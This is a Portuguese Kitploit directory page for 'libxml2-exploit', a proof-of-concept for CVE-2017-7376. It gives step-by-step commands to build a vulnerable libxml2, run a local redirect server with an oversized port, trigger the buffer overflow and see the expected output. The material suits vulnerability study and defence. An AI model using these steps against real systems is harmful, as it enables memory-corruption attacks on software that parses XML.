Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
libxml2-exploit — Um exemplo de exploit para CVE-2017-7376 | Kitploit
Ferramentas/GitHubGitHub/brahmstaedt/libxml2-exploit
Análise de VulnerabilidadesExploraçãoSegurança WebFuzzingExploração de Binários
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Um exemplo de exploit para CVE-2017-7376

Ver Repositório
33há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

libxml2-exploit

Um exemplo de exploit para CVE-2017-7376

Instalação

Baixe este repositório e uma versão vulnerável do libxml2, ex: v2.7.7:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Configuração

root@kitploit:~
cd libxml2

preparar libxml2

Para tornar o sucesso do exploit mais visível, adicione código para detectar o buffer overflow no libxml2. Não é necessário se você tiver outros meios de visibilidade, como a aplicação travar.

root@kitploit:~
git apply ../nanohttp.patch

compilar libxml2

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

No caso do seguinte erro:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Substitua em configure.in AM_C_PROTOTYPES por dnl AM_C_PROTOTYPES, ex: assim:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Volte

root@kitploit:~
cd ..

preparar servidor web

Este exploit requer um servidor web que responda com um redirecionamento para uma nova URL com um número de porta maior que 5 dígitos e abaixo de int32max (2147483648 = 2^32/2).

Inicie o servidor (requer node JS e que a porta 127.0.0.1:8080 esteja livre):

root@kitploit:~
node http.js &

Teste o servidor web; deve reclamar sobre número de porta inválido 2147426192:

root@kitploit:~
wget localhost:8080

Compilação

root@kitploit:~
make

Executar

root@kitploit:~
./run.sh

Saída esperada:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

A Fazer

Este exploit de demonstração requer que o programa principal execute xmlXIncludeProcess() para alcançar o código defeituoso no libxml2, o que provavelmente não é usado em muitas implementações reais. Mas então nanohttp.c menciona no comentário que é uma implementação minimalista HTTP GET para buscar subconjuntos externos que pode oferecer outro caminho de exploração.

Baixar ferramenta